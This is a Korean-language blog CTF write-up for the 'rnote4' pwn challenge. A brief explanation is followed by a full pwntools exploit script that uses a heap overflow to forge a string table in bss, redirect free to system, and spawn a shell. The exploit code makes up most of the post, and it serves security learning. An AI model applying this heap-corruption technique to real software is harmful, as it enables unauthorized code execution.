728x90

재미있는 문제! 출력하는 함수도 없고 어떻게 leak을 해야할지 고민했었는데 간단하게 bss에다가 strtab 구조를 만들어주고 strtab의 주소를 bss로 덮으면 끝!

 

free를 system으로 바꿔서 쉘을 획득했다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
 
= process("./rnote4")
elf = ELF("./rnote4")
 
def alloc(size,content):
    s.send(p8(1))
    s.send(p8(size))
    s.send(content)
 
def edit(index,size,content):
    s.send(p8(2))
    s.send(p8(index))
    s.send(p8(size))
    s.send(content)
 
 
def delete(index):
    s.send(p8(3))
    s.send(p8(index))
 
def quit():
    s.send(p8(4))
 
strtab_addr = 0x0000000000601EA8
 
 
alloc(16,"A"*16)
alloc(16,"B"*16)
 
pay = "A"*16
pay += p64(0)
pay += p64(0x21)
pay += p64(0x10)
pay += p64(elf.bss()+0x100)
 
edit(0,len(pay),pay)
 
pay = "B"*0x5f
pay += "system"
 
edit(1,len(pay),pay)
 
 
pay = "A"*16
pay += p64(0)
pay += p64(0x21)
pay += p64(0x10)
pay += p64(strtab_addr)
 
edit(0,len(pay),pay)
edit(1,16,p64(0x5)+p64(elf.bss()+0x100))
 
alloc(7,"/bin/sh")
delete(2)
 
s.interactive()
cs

'PWN > CTF' 카테고리의 다른 글

[CodeBlue_2017] Secret_mailer_service  (0) 2019.12.02
[CodeBlue_2017] simple_memo_pad  (0) 2019.12.01
[SCTF_2018] cowboy  (0) 2019.11.27
[BSidesSF_2019] runitplusplus  (0) 2019.11.17
[RCTF_2018] stringer  (0) 2019.11.17